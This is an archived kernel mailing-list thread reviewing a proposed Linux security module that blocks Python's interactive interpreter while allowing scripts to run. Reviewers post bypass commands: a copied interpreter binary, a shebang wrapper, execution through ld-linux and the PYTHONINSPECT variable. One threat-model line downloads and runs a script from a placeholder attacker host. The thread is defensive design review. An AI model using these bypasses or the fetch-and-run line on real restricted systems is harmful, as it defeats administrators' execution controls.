shebang: restrict python interactive prompt/interpreter
PATCH 1/1 shebang: restrict python interactive prompt/interpreter
This patch defines a new, minor LSM named "shebang", that restricts python such that scripts are allowed to execute, while the interactive prompt/interpreter is not available. When used in conjunction with an IMA appraise execute policy requiring files signatures, only signed python scripts would be allowed to execute. (A separate method for identifying "imported" code would need to be defined in order to verify their file signatures.)
A blank/comma delimited list of interpreter pathnames is converted to a list of inodes, which is used to detect and prevent the interactive prompt/interpreter's usage.
Mimi Zohar <[email protected]>
--- security/Kconfig | 1 + security/Makefile | 2 + security/shebang/Kconfig | 16 ++++++ security/shebang/Makefile | 3 + security/shebang/shebang_python.c | 117 ++++++++++++++++++++++++++++++++++++++ 5 files changed, 139 insertions(+) create mode 100644 security/shebang/Kconfig create mode 100644 security/shebang/Makefile create mode 100644 security/shebang/shebang_python.c
security/Kconfig +1 -0
@@ -195,6 +195,7 @@ source security/tomoyo/Kconfig source security/apparmor/Kconfig source security/loadpin/Kconfig source security/yama/Kconfig +source security/shebang/Kconfig source security/integrity/Kconfig
security/Makefile +2 -0
@@ -9,6 +9,7 @@ subdir-$(CONFIG_SECURITY_TOMOYO) += tomoyo subdir-$(CONFIG_SECURITY_APPARMOR) += apparmor subdir-$(CONFIG_SECURITY_YAMA) += yama subdir-$(CONFIG_SECURITY_LOADPIN) += loadpin +subdir-$(CONFIG_SECURITY_SHEBANG) += shebang # always enable default capabilities obj-y += commoncap.o
@@ -24,6 +25,7 @@ obj-$(CONFIG_SECURITY_TOMOYO) += tomoyo/ obj-$(CONFIG_SECURITY_APPARMOR) += apparmor/ obj-$(CONFIG_SECURITY_YAMA) += yama/ obj-$(CONFIG_SECURITY_LOADPIN) += loadpin/ +obj-$(CONFIG_SECURITY_SHEBANG) += shebang/ obj-$(CONFIG_CGROUP_DEVICE) += device_cgroup.o # Object integrity file lists
security/shebang/Kconfig new file +16 -0
@@ -0,0 +1,16 @@ +config SECURITY_SHEBANG + bool "Restrict python interactive prompt/interpreter" + depends on SECURITY + help + Restrict python so that python scripts are allowed to execute, + while the interactive prompt/interpreter is not available. When + used in conjunction with an IMA appraise policy requiring files + signatures, only signed scripts will be executed. + +config SECURITY_SHEBANG_PATHNAME + string "interactive prompt/interpreter pathname" + depends on SECURITY_SHEBANG + default "/usr/bin/python2, /usr/bin/python3" + help + This option defines a blank/comma delimited list of + interpreter pathnames.
security/shebang/Makefile new file +3 -0
@@ -0,0 +1,3 @@ +obj-$(CONFIG_SECURITY_SHEBANG) += shebang.o + +shebang-y := shebang_python.o
security/shebang/shebang_python.c new file +117 -0
117 lines not on this page · raw message
Signature · 6 lines
2.7.4 -- To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
PATCH 1/1 shebang: restrict python interactive prompt/interpreter
Quoted 7 lines · Mimi Zohar
This patch defines a new, minor LSM named "shebang", that restricts python such that scripts are allowed to execute, while the interactive prompt/interpreter is not available. When used in conjunction with an IMA appraise execute policy requiring files signatures, only signed python scripts would be allowed to execute. (A separate method for identifying "imported" code would need to be defined in order to verify their file signatures.)
Below case is blocked by IMA?
$ cp -p /usr/bin/python2 /tmp $ /tmp/python2
Below case is also blocked by IMA?
$ echo '#!/usr/bin/python2 -' > /tmp/run-python $ chmod +x /tmp/run-python $ /tmp/run-python
What about execution via ld-linux ?
$ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2
Quoted 25 lines
security/shebang/shebang_python.c new file +25
-0+#define MAX_INODES 6 +static char *pathnames; +static int pathnames_len; +static unsigned long inode_list[MAX_INODES ]; +static int total; + +/* +* Get the inodes associated with the list of pathnames, as specified +* on CONFIG_SECURITY_SHEBANG_PATHNAME. +*/ +static void init_inode_list (void ) +{ +char *tmp_pathnames = pathnames; +char *p; +struct path path; +int i; +int ret; + + total =0 ; +while ((p =strsep (&tmp_pathnames," ," )) !=NULL ) { +if ((*p =='\0' ) || (*p ==' ' ) || (*p ==',' )) +continue ; + +if (total >MAX_INODES -1 ) { +pr_info ("too many interpreters\n" );
security/shebang/shebang_python.c line 58
Quoted 10 lines
security/shebang/shebang_python.c new file +10
-0+break ; + } + + ret =kern_path (p,LOOKUP_FOLLOW , &path); +if (!ret) { +struct inode *inode =d_backing_inode (path.dentry); + + inode_list[total] = inode->i_ino; +pr_info ("pathname:%s i_ino: %lu\n" , + p, inode_list[total]);
Leaking reference to "struct path".
security/shebang/shebang_python.c line 68
Quoted 10 lines
security/shebang/shebang_python.c new file +10
-0+ initialized =1 ; + total++; + } + } + +/* cleanup in case we need to lookup the inodes again. */ + tmp_pathnames = pathnames; +for (i =0 ; i < pathnames_len; i++) +if (tmp_pathnames[i] =='\0' ) + tmp_pathnames[i] =' ' ;
Why need to restore?
Quoted 9 lines
security/shebang/shebang_python.c new file +9
-0+} + +/** +* shebang_bprm_check - prevent python interactive prompt/interpreter +* @bprm: contains the linux_binprm structure +* +* Restrict python such that scripts are allowed to execute, while the +* interactive prompt/interpreter is not available. +*/
security/shebang/shebang_python.c line 87
Quoted 10 lines
security/shebang/shebang_python.c new file +10
-0+static int shebang_bprm_check (struct linux_binprm *bprm) +{ +struct inode *inode =file_inode (bprm->file); +int i =0 ; + +if (bprm->interp != bprm->filename)/* allow scripts */ +return 0 ; + +if (!initialized) +init_inode_list ();
init_inode_list() can be called concurrently.
Quoted 12 lines
security/shebang/shebang_python.c new file +12
-0+ +while (i < total) { +if (inode_list[i++] != inode->i_ino) +continue ; + +pr_info ("prevent executing %s (ino=%lu)\n" , + bprm->interp, inode->i_ino); +return -EPERM ; + } +return 0 ; +} +
security/shebang/shebang_python.c line 109
Quoted 10 lines
security/shebang/shebang_python.c new file +10
-0+static struct security_hook_list shebang_hooks[] = { +LSM_HOOK_INIT (bprm_check_security, shebang_bprm_check) +}; + +static int __init init_shebang (void ) +{ + pathnames =kstrdup (CONFIG_SECURITY_SHEBANG_PATHNAME ,GFP_KERNEL ); +if (!pathnames) +return -ENOMEM ; + pathnames_len =strlen (pathnames);
Why need to kstrdup()?
static char pathnames[] = CONFIG_SECURITY_SHEBANG_PATHNAME; static int pathnames_len = sizeof(pathnames) - 1;
will be fine.
security/shebang/shebang_python.c line 117
Quoted 8 lines
security/shebang/shebang_python.c new file +8
-0+ +security_add_hooks (shebang_hooks,ARRAY_SIZE (shebang_hooks),"shebang" ); +pr_info ("initialized\n" ); +return 0 ; +} + +late_initcall (init_shebang); +MODULE_LICENSE ("GPL" );
Nice example for loading as a LKM-based LSM. ;-)
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
PATCH 1/1 shebang: restrict python interactive prompt/interpreter
Quoted 8 lines · Tetsuo Handa
Quoted 7 lines · Mimi Zohar
This patch defines a new, minor LSM named "shebang", that restricts python such that scripts are allowed to execute, while the interactive prompt/interpreter is not available. When used in conjunction with an IMA appraise execute policy requiring files signatures, only signed python scripts would be allowed to execute. (A separate method for identifying "imported" code would need to be defined in order to verify their file signatures.)
FYI Mimi posted this because of this current discussion here:
http://www.openwall.com/lists/kernel-hardening/2017/06/09/13
Quoted 12 lines
Below case is blocked by IMA?
$ cp -p /usr/bin/python2 /tmp $ /tmp/python2Below case is also blocked by IMA?
$ echo '#!/usr/bin/python2 -' > /tmp/run-python $ chmod +x /tmp/run-python $ /tmp/run-python
Does IMA have a way to prevent the following? I think this is the main case we are protection against with this LSM.
$ wget www.evil.com/evil.py $ /usr/bin/python2 evil.py
Quoted 4 lines
What about execution via ld-linux ?
$ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2
Just tested this and you are correct, this allows you to bypass the protection.
I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2 in the list of interpreters.
Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
PATCH 1/1 shebang: restrict python interactive prompt/interpreter
Quoted 10 lines · Matt Brown
Quoted 4 lines
What about execution via ld-linux ?
$ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2Just tested this and you are correct, this allows you to bypass the protection.
I was able to fix this bypass by including
/lib64/ld-linux-x86-64.so.2in the list of interpreters.
And there is also PYTHONINSPECT environment variable. ;-)
# echo '#!/usr/bin/python2' > run-python # chmod 755 run-python # ./run-python # PYTHONINSPECT=yes ./run-python
Quoted 1 line
Quoted 1 line
Quoted 1 line
print "hello"
hello
Quoted 1 line
Quoted 1 line
Quoted 1 line
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
PATCH 1/1 shebang: restrict python interactive prompt/interpreter
Quoted 12 lines · Tetsuo Handa
Quoted 10 lines · Matt Brown
Quoted 4 lines
What about execution via ld-linux ?
$ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2Just tested this and you are correct, this allows you to bypass the protection.
I was able to fix this bypass by including
/lib64/ld-linux-x86-64.so.2in the list of interpreters.
Quoted 9 lines
And there is also PYTHONINSPECT environment variable. ;-)
# echo '#!/usr/bin/python2' > run-python # chmod 755 run-python # ./run-python # PYTHONINSPECT=yes ./run-pythonQuoted 1 line
Quoted 1 line
Quoted 1 line
print "hello"
hello
Quoted 1 line
Quoted 1 line
Quoted 1 line
While this bypass works against this LSM alone, when combined with Trusted Path Execution this is prevented for non-root/untrusted user. This is why I feel like this is such a great feature to combine with TPE as I said here:
http://www.openwall.com/lists/kernel-hardening/2017/06/09/13
Results from my test:
$ PYTHONINSPECT=yes ./run-python
-bash: ./run-python: /usr/bin/python2: bad interpreter: Operation not permitted
and in the dmesg log:
TPE: Denied exec of /home/test/run-python Reason: file in non-root-owned directory
Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
PATCH 1/1 shebang: restrict python interactive prompt/interpreter
Quoted 35 lines · Matt Brown
Quoted 12 lines · Tetsuo Handa
Quoted 10 lines · Matt Brown
Quoted 4 lines
What about execution via ld-linux ?
$ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2Just tested this and you are correct, this allows you to bypass the protection.
I was able to fix this bypass by including
/lib64/ld-linux-x86-64.so.2in the list of interpreters.Quoted 9 lines
And there is also PYTHONINSPECT environment variable. ;-)
# echo '#!/usr/bin/python2' > run-python # chmod 755 run-python # ./run-python # PYTHONINSPECT=yes ./run-pythonQuoted 1 line
Quoted 1 line
Quoted 1 line
print "hello"
hello
Quoted 1 line
Quoted 1 line
Quoted 1 line
While this bypass works against this LSM alone, when combined with Trusted Path Execution this is prevented for non-root/untrusted user. This is why I feel like this is such a great feature to combine with TPE as I said here:
http://www.openwall.com/lists/kernel-hardening/2017/06/09/13
Results from my test:
$ PYTHONINSPECT=yes ./run-python
Quoted 6 lines
-bash: ./run-python:
/usr/bin/python2: bad interpreter: Operation not permittedand in the dmesg log:
TPE: Denied exec of/home/test/run-pythonReason: file in non-root-owned directory
What if you just use any existing python script on the system?
jason at meriadoc ~ $ PYTHONINSPECT=yes /usr/bin/emerge
emerge: command-line interface to the Portage system
Usage:
emerge [ options ] [ action ] [ ebuild | tbz2 | file | @set | atom ] [ ... ] emerge [ options ] [ action ] < @system | @world >
emerge < --sync | --metadata | --info >
emerge --resume [ --pretend | --ask | --skipfirst ]
emerge --help
Options: -[abBcCdDefgGhjkKlnNoOpPqrsStuvVw]
[ --color < y | n > ] [ --columns ]
[ --complete-graph ] [ --deep ]
[ --jobs JOBS ] [ --keep-going ] [ --load-average LOAD ]
[ --newrepo ] [ --newuse ] [ --noconfmem ] [ --nospinner ]
[ --oneshot ] [ --onlydeps ] [ --quiet-build [ y | n ] ]
[ --reinstall changed-use ] [ --with-bdeps < y | n > ]
Actions: [ --depclean | --list-sets | --search | --sync | --version ] For more help consult the man page.
Traceback (most recent call last):
File "/usr/lib/python-exec/python3.4/emerge", line 79, in <module>
sys.exit(retval)
SystemExit: 1
Quoted 1 line
Quoted 1 line
Quoted 1 line
-- Jason
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
PATCH 1/1 shebang: restrict python interactive prompt/interpreter
Quoted 62 lines · Jason Zaman
Quoted 35 lines · Matt Brown
Quoted 12 lines · Tetsuo Handa
Quoted 10 lines · Matt Brown
Quoted 4 lines
What about execution via ld-linux ?
$ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2Just tested this and you are correct, this allows you to bypass the protection.
I was able to fix this bypass by including
/lib64/ld-linux-x86-64.so.2in the list of interpreters.Quoted 9 lines
And there is also PYTHONINSPECT environment variable. ;-)
# echo '#!/usr/bin/python2' > run-python # chmod 755 run-python # ./run-python # PYTHONINSPECT=yes ./run-pythonQuoted 1 line
Quoted 1 line
Quoted 1 line
print "hello"
hello
Quoted 1 line
Quoted 1 line
Quoted 1 line
While this bypass works against this LSM alone, when combined with Trusted Path Execution this is prevented for non-root/untrusted user. This is why I feel like this is such a great feature to combine with TPE as I said here:
http://www.openwall.com/lists/kernel-hardening/2017/06/09/13
Results from my test:
$ PYTHONINSPECT=yes ./run-pythonQuoted 6 lines
-bash: ./run-python:
/usr/bin/python2: bad interpreter: Operation not permittedand in the dmesg log:
TPE: Denied exec of/home/test/run-pythonReason: file in non-root-owned directoryWhat if you just use any existing python script on the system?
jason at meriadoc ~ $ PYTHONINSPECT=yes
/usr/bin/emerge
emerge: command-line interface to the Portage system Usage:emerge [ options ] [ action ] [ ebuild | tbz2 | file | @set | atom ] [ ... ] emerge [ options ] [ action ] < @system | @world > emerge < --sync | --metadata | --info > emerge --resume [ --pretend | --ask | --skipfirst ] emerge --help Options: -[abBcCdDefgGhjkKlnNoOpPqrsStuvVw] [ --color < y | n > ] [ --columns ] [ --complete-graph ] [ --deep ] [ --jobs JOBS ] [ --keep-going ] [ --load-average LOAD ] [ --newrepo ] [ --newuse ] [ --noconfmem ] [ --nospinner ] [ --oneshot ] [ --onlydeps ] [ --quiet-build [ y | n ] ] [ --reinstall changed-use ] [ --with-bdeps < y | n > ] Actions: [ --depclean | --list-sets | --search | --sync | --version ]
Quoted 9 lines
For more help consult the man page.
Traceback (most recent call last):
File "/usr/lib/python-exec/python3.4/emerge", line 79, in <module>
sys.exit(retval)
SystemExit: 1Quoted 1 line
Quoted 1 line
Quoted 1 line
-- Jason
crap you're right. This does work.
what does everyone thing about a envp_blacklist option that is a list of environmental variables that will be stripped from exec calls. This can be done in the LSM hook bprm_check_security.
Is there any reason on a hardened system why you would need the PYTHONINSPECT environmental variable?
Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
PATCH 1/1 shebang: restrict python interactive prompt/interpreter
Quoted 3 lines · Matt Brown
what does everyone thing about a
envp_blacklistoption that is a list of environmental variables that will be stripped from exec calls. This can be done in the LSM hookbprm_check_security.
Stripping argv[0] can be done by remove_arg_zero(). But stripping specific environmental variables is a bit complicated than what you would think. You can see tomoyo_environ() for how to whitelist environmental variable names.
Quoted 3 lines
Is there any reason on a hardened system why you would need the PYTHONINSPECT environmental variable?
TOMOYO and CaitSith try to check such factors (e.g. argv/envp as well as pathname manipulations).
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
PATCH 1/1 shebang: restrict python interactive prompt/interpreter
In reply to Matt BrownQuoted 73 lines · Matt Brown
Quoted 62 lines · Jason Zaman
Quoted 35 lines · Matt Brown
Quoted 12 lines · Tetsuo Handa
Quoted 10 lines · Matt Brown
Quoted 4 lines
What about execution via ld-linux ?
$ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2Just tested this and you are correct, this allows you to bypass the protection.
I was able to fix this bypass by including
/lib64/ld-linux-x86-64.so.2in the list of interpreters.Quoted 9 lines
And there is also PYTHONINSPECT environment variable. ;-)
# echo '#!/usr/bin/python2' > run-python # chmod 755 run-python # ./run-python # PYTHONINSPECT=yes ./run-pythonQuoted 1 line
Quoted 1 line
Quoted 1 line
print "hello"
hello
Quoted 1 line
Quoted 1 line
Quoted 1 line
While this bypass works against this LSM alone, when combined with Trusted Path Execution this is prevented for non-root/untrusted user. This is why I feel like this is such a great feature to combine with TPE as I said here:
http://www.openwall.com/lists/kernel-hardening/2017/06/09/13
Results from my test:
$ PYTHONINSPECT=yes ./run-pythonQuoted 6 lines
-bash: ./run-python:
/usr/bin/python2: bad interpreter: Operation not permittedand in the dmesg log:
TPE: Denied exec of/home/test/run-pythonReason: file in non-root-owned directoryWhat if you just use any existing python script on the system?
jason at meriadoc ~ $ PYTHONINSPECT=yes
/usr/bin/emerge
emerge: command-line interface to the Portage system Usage:emerge [ options ] [ action ] [ ebuild | tbz2 | file | @set | atom ] [ ... ] emerge [ options ] [ action ] < @system | @world > emerge < --sync | --metadata | --info > emerge --resume [ --pretend | --ask | --skipfirst ] emerge --help Options: -[abBcCdDefgGhjkKlnNoOpPqrsStuvVw] [ --color < y | n > ] [ --columns ] [ --complete-graph ] [ --deep ] [ --jobs JOBS ] [ --keep-going ] [ --load-average LOAD ] [ --newrepo ] [ --newuse ] [ --noconfmem ] [ --nospinner ] [ --oneshot ] [ --onlydeps ] [ --quiet-build [ y | n ] ] [ --reinstall changed-use ] [ --with-bdeps < y | n > ] Actions: [ --depclean | --list-sets | --search | --sync | --version ]Quoted 9 lines
For more help consult the man page.
Traceback (most recent call last):
File "/usr/lib/python-exec/python3.4/emerge", line 79, in <module>
sys.exit(retval)
SystemExit: 1Quoted 1 line
Quoted 1 line
Quoted 1 line
-- Jason
Quoted 8 lines
crap you're right. This does work.
what does everyone thing about a
envp_blacklistoption that is a list of environmental variables that will be stripped from exec calls. This can be done in the LSM hookbprm_check_security.Is there any reason on a hardened system why you would need the PYTHONINSPECT environmental variable?
As part of shebang, it likely makes sense to whitelist (rather than blacklist) the env of the restricted interpreters. Though this is starting to get complex. :P
-Kees
Signature · 6 lines
Kees Cook Pixel Security -- To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
PATCH 1/1 shebang: restrict python interactive prompt/interpreter
Quoted 11 lines · Kees Cook
Quoted 6 lines · Matt Brown
what does everyone thing about a
envp_blacklistoption that is a list of environmental variables that will be stripped from exec calls. This can be done in the LSM hookbprm_check_security.Is there any reason on a hardened system why you would need the PYTHONINSPECT environmental variable?
As part of shebang, it likely makes sense to whitelist (rather than blacklist) the env of the restricted interpreters. Though this is starting to get complex. :P
Blacklisting environment variables is dangerous. I think that administrators can afford whitelisting environment variable names. I think that implementing whitelist of environment variable names as an independent LSM module would be fine.
While it is true that things starts getting complex if we check environment variables, shebang will already become complex if it starts worrying about updating inode number list in order to close the race window between doing creat()+write()+close()+chmod()+rename() by the package manager and teaching the kernel the new inode number determined by creat(). We will need an interface for allowing the package manager to teach the kernel the new inode number and modification of the package manager, for the kernel side is doing inode number based blacklisting while user side can execute it before rename(). --
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Quoted 18 lines · Tetsuo Handa
Quoted 11 lines · Kees Cook
Quoted 6 lines · Matt Brown
what does everyone thing about a
envp_blacklistoption that is a list of environmental variables that will be stripped from exec calls. This can be done in the LSM hookbprm_check_security.Is there any reason on a hardened system why you would need the PYTHONINSPECT environmental variable?
As part of shebang, it likely makes sense to whitelist (rather than blacklist) the env of the restricted interpreters. Though this is starting to get complex. :P
Blacklisting environment variables is dangerous. I think that administrators can afford whitelisting environment variable names. I think that implementing whitelist of environment variable names as an independent LSM module would be fine.
Quoted 13 lines
While it is true that things starts getting complex if we check environment variables, shebang will already become complex if it starts worrying about updating inode number list in order to close the race window between doing creat()+write()+close()+chmod()+rename() by the package manager and teaching the kernel the new inode number determined by
creat(). We will need an interface for allowing the package manager to teach the kernel the new inode number and modification of the package manager, for the kernel side is doing inode number based blacklisting while user side can execute it beforerename(). --
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to [email protected]
More majordomo info at http://vger.kernel.org/majordomo-info.html
Using filesystem xattr seems like a good idea for this kind of exceptions and instead of a hardcoded interpreter path. Something like "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to configure a security policy for some binaries. This could also be protected by IMA/EVM, if needed.
This kind of xattr should be writable by the owner of the file. The TPE LSM [1] could then take these xattr into account according to the TPE policy.
The "security.tpe.environment" could also be set on a script file to be part of the union with the interpreter's environment whitelist. This may be needed to be able to use environment variables as configuration in a script.
In the future, a "security.tpe.memory" could contain a set of flags as PaX uses for mprotect-like exceptions (user.pax.flags).
Userland daemons such as paxctld or paxrat could be used (with some tweaks) to keep a consistent TPE policy over time.
Mickaël
Quoted 19 lines · Mickaël Salaün
Quoted 18 lines · Tetsuo Handa
Quoted 11 lines · Kees Cook
Quoted 6 lines · Matt Brown
what does everyone thing about a
envp_blacklistoption that is a list of environmental variables that will be stripped from exec calls. This can be done in the LSM hookbprm_check_security.Is there any reason on a hardened system why you would need the PYTHONINSPECT environmental variable?
As part of shebang, it likely makes sense to whitelist (rather than blacklist) the env of the restricted interpreters. Though this is starting to get complex. :P
Blacklisting environment variables is dangerous. I think that administrators can afford whitelisting environment variable names. I think that implementing whitelist of environment variable names as an independent LSM module would be fine.
Quoted 8 lines
Quoted 8 lines
While it is true that things starts getting complex if we check environment variables, shebang will already become complex if it starts worrying about updating inode number list in order to close the race window between doing creat()+write()+close()+chmod()+rename() by the package manager and teaching the kernel the new inode number determined by
creat(). We will need an interface for allowing the package manager to teach the kernel the new inode number and modification of the package manager, for the kernel side is doing inode number based blacklisting while user side can execute it beforerename().
I don't think we're trying to protect against executing the interpreter prior to the rename. Rename, itself, would trigger associating the interpreter name with an inode number.
Quoted 6 lines
Quoted 5 lines
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to [email protected]
More majordomo info at http://vger.kernel.org/majordomo-info.html
Quoted 6 lines
Using filesystem xattr seems like a good idea for this kind of exceptions and instead of a hardcoded interpreter path. Something like "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to configure a security policy for some binaries. This could also be protected by IMA/EVM, if needed.
Checking for the existence of an xattr without caching is relatively slow. I'm not sure that we would want to go this route.
Quoted 3 lines
This kind of xattr should be writable by the owner of the file. The TPE LSM [1] could then take these xattr into account according to the TPE policy.
Security xattrs are only writable by root.
Mimi
Quoted 16 lines
The "security.tpe.environment" could also be set on a script file to be part of the union with the interpreter's environment whitelist. This may be needed to be able to use environment variables as configuration in a script.
In the future, a "security.tpe.memory" could contain a set of flags as PaX uses for mprotect-like exceptions (user.pax.flags).
Userland daemons such as paxctld or paxrat could be used (with some tweaks) to keep a consistent TPE policy over time.
Mickaël
Quoted 11 lines · Mimi Zohar
Quoted 6 lines · Mickaël Salaün
Using filesystem xattr seems like a good idea for this kind of exceptions and instead of a hardcoded interpreter path. Something like "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to configure a security policy for some binaries. This could also be protected by IMA/EVM, if needed.
Checking for the existence of an xattr without caching is relatively slow. I'm not sure that we would want to go this route.
For identifying interpreters, xattrs would be too slow (without caching results), but once identified, using xattrs as you suggested, for specifying how interpreters can be invoked and limiting environment variables, is a good idea. Perhaps the two xattrs could be combined?
Mimi
Quoted 10 lines · Mimi Zohar
Quoted 9 lines · Mimi Zohar
Quoted 6 lines · Mickaël Salaün
Using filesystem xattr seems like a good idea for this kind of exceptions and instead of a hardcoded interpreter path. Something like "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to configure a security policy for some binaries. This could also be protected by IMA/EVM, if needed.
Quoted 8 lines
Quoted 2 lines
Checking for the existence of an xattr without caching is relatively slow. I'm not sure that we would want to go this route.
For identifying interpreters, xattrs would be too slow (without caching results), but once identified, using xattrs as you suggested, for specifying how interpreters can be invoked and limiting environment variables, is a good idea. Perhaps the two xattrs could be combined?
Yes, caching results is definitely interesting. I think using one variable per usage is cleaner, though.
Quoted 10 lines · On Mon, 12 Jun 2017 10:27:24 -0400 Mimi Zohar <[email protected]> wrote:
Quoted 9 lines · Mimi Zohar
Quoted 6 lines · Mickaël Salaün
Using filesystem xattr seems like a good idea for this kind of exceptions and instead of a hardcoded interpreter path. Something like "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to configure a security policy for some binaries. This could also be protected by IMA/EVM, if needed.
Quoted 8 lines
Quoted 2 lines
Checking for the existence of an xattr without caching is relatively slow. I'm not sure that we would want to go this route.
For identifying interpreters, xattrs would be too slow (without caching results), but once identified, using xattrs as you suggested, for specifying how interpreters can be invoked and limiting environment variables, is a good idea. Perhaps the two xattrs could be combined?
It's not just #! you need to cover. If I can run ld.so for my arch format then ld.so will helpfully let me load any ELF binary I like and run it.
Alan
Quoted 23 lines · Alan Cox
Quoted 10 lines · On Mon, 12 Jun 2017 10:27:24 -0400 Mimi Zohar <[email protected]> wrote:
Quoted 9 lines · Mimi Zohar
Quoted 6 lines · Mickaël Salaün
Using filesystem xattr seems like a good idea for this kind of exceptions and instead of a hardcoded interpreter path. Something like "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to configure a security policy for some binaries. This could also be protected by IMA/EVM, if needed.
Quoted 8 lines
Quoted 2 lines
Checking for the existence of an xattr without caching is relatively slow. I'm not sure that we would want to go this route.
For identifying interpreters, xattrs would be too slow (without caching results), but once identified, using xattrs as you suggested, for specifying how interpreters can be invoked and limiting environment variables, is a good idea. Perhaps the two xattrs could be combined?
Quoted 4 lines
It's not just #! you need to cover. If I can run ld.so for my arch format then ld.so will helpfully let me load any ELF binary I like and run it.
Alan
That depends on the threat model. Interpreted payloads are beneficial to attackers for their light forensic footprint along with implicit code-gen needs/powers - they dont require writing files to disk in order to affect their goals (staging is implicitly handled by the runtime, and behavior is tough to track). Anything going to disk is subject to forensic recovery, malware analysis, and a host of other concerns nobody wants to deal with when trying to compromise things quietly. While attackers can abuse the linker to their heart's content under certain contexts, they generally need to write files to disk in a place where the linker can get to them, leaving more footprints or being deterred altogether. At the payload delivery stage, remote attackers are effectively blind and unlikely to know if their exploit failed or the payload execution was mitigated. It has real world value.
To go along with the notion of "perfect can be the enemy of good" (please pardon the likely incorrect paraphrasing, second language and all), rejecting a protection which offers coverage for a subset of potential vectors, because it does not provide coverage for others, leads to dead code and open holes. Is it feasible to adopt protections which cover specific threat models with annotations on what they may leave open such as to cover those areas in later commits? This would also allow common work to be converged, such as LSM code dealing with mprotect issues, path resolution as a security validator, etc.
-Boris
Quoted 46 lines · Mimi Zohar
Quoted 19 lines · Mickaël Salaün
Quoted 18 lines · Tetsuo Handa
Quoted 11 lines · Kees Cook
Quoted 6 lines · Matt Brown
what does everyone thing about a
envp_blacklistoption that is a list of environmental variables that will be stripped from exec calls. This can be done in the LSM hookbprm_check_security.Is there any reason on a hardened system why you would need the PYTHONINSPECT environmental variable?
As part of shebang, it likely makes sense to whitelist (rather than blacklist) the env of the restricted interpreters. Though this is starting to get complex. :P
Blacklisting environment variables is dangerous. I think that administrators can afford whitelisting environment variable names. I think that implementing whitelist of environment variable names as an independent LSM module would be fine.
Quoted 8 lines
Quoted 8 lines
While it is true that things starts getting complex if we check environment variables, shebang will already become complex if it starts worrying about updating inode number list in order to close the race window between doing creat()+write()+close()+chmod()+rename() by the package manager and teaching the kernel the new inode number determined by
creat(). We will need an interface for allowing the package manager to teach the kernel the new inode number and modification of the package manager, for the kernel side is doing inode number based blacklisting while user side can execute it beforerename().I don't think we're trying to protect against executing the interpreter prior to the rename. Rename, itself, would trigger associating the interpreter name with an inode number.
Quoted 6 lines
Quoted 5 lines
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to [email protected]
More majordomo info at http://vger.kernel.org/majordomo-info.htmlQuoted 6 lines
Using filesystem xattr seems like a good idea for this kind of exceptions and instead of a hardcoded interpreter path. Something like "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to configure a security policy for some binaries. This could also be protected by IMA/EVM, if needed.
Quoted 8 lines
Checking for the existence of an xattr without caching is relatively slow. I'm not sure that we would want to go this route.
Quoted 3 lines
This kind of xattr should be writable by the owner of the file. The TPE LSM [1] could then take these xattr into account according to the TPE policy.
Security xattrs are only writable by root.
This is currently the case but an exception for this kind of LSM could be allowed, or another dedicated prefix could be used.
Quoted 45 lines · Mickaël Salaün
Quoted 44 lines · Mimi Zohar
Quoted 17 lines · Mickaël Salaün
Quoted 16 lines · Tetsuo Handa
Quoted 10 lines · Kees Cook
Quoted 6 lines · Matt Brown
what does everyone thing about a
envp_blacklistoption that is a list of environmental variables that will be stripped from exec calls. This can be done in the LSM hookbprm_check_security.Is there any reason on a hardened system why you would need the PYTHONINSPECT environmental variable?
As part of shebang, it likely makes sense to whitelist (rather than blacklist) the env of the restricted interpreters. Though this is starting to get complex. :P
Blacklisting environment variables is dangerous. I think that administrators can afford whitelisting environment variable names. I think that implementing whitelist of environment variable names as an independent LSM module would be fine.
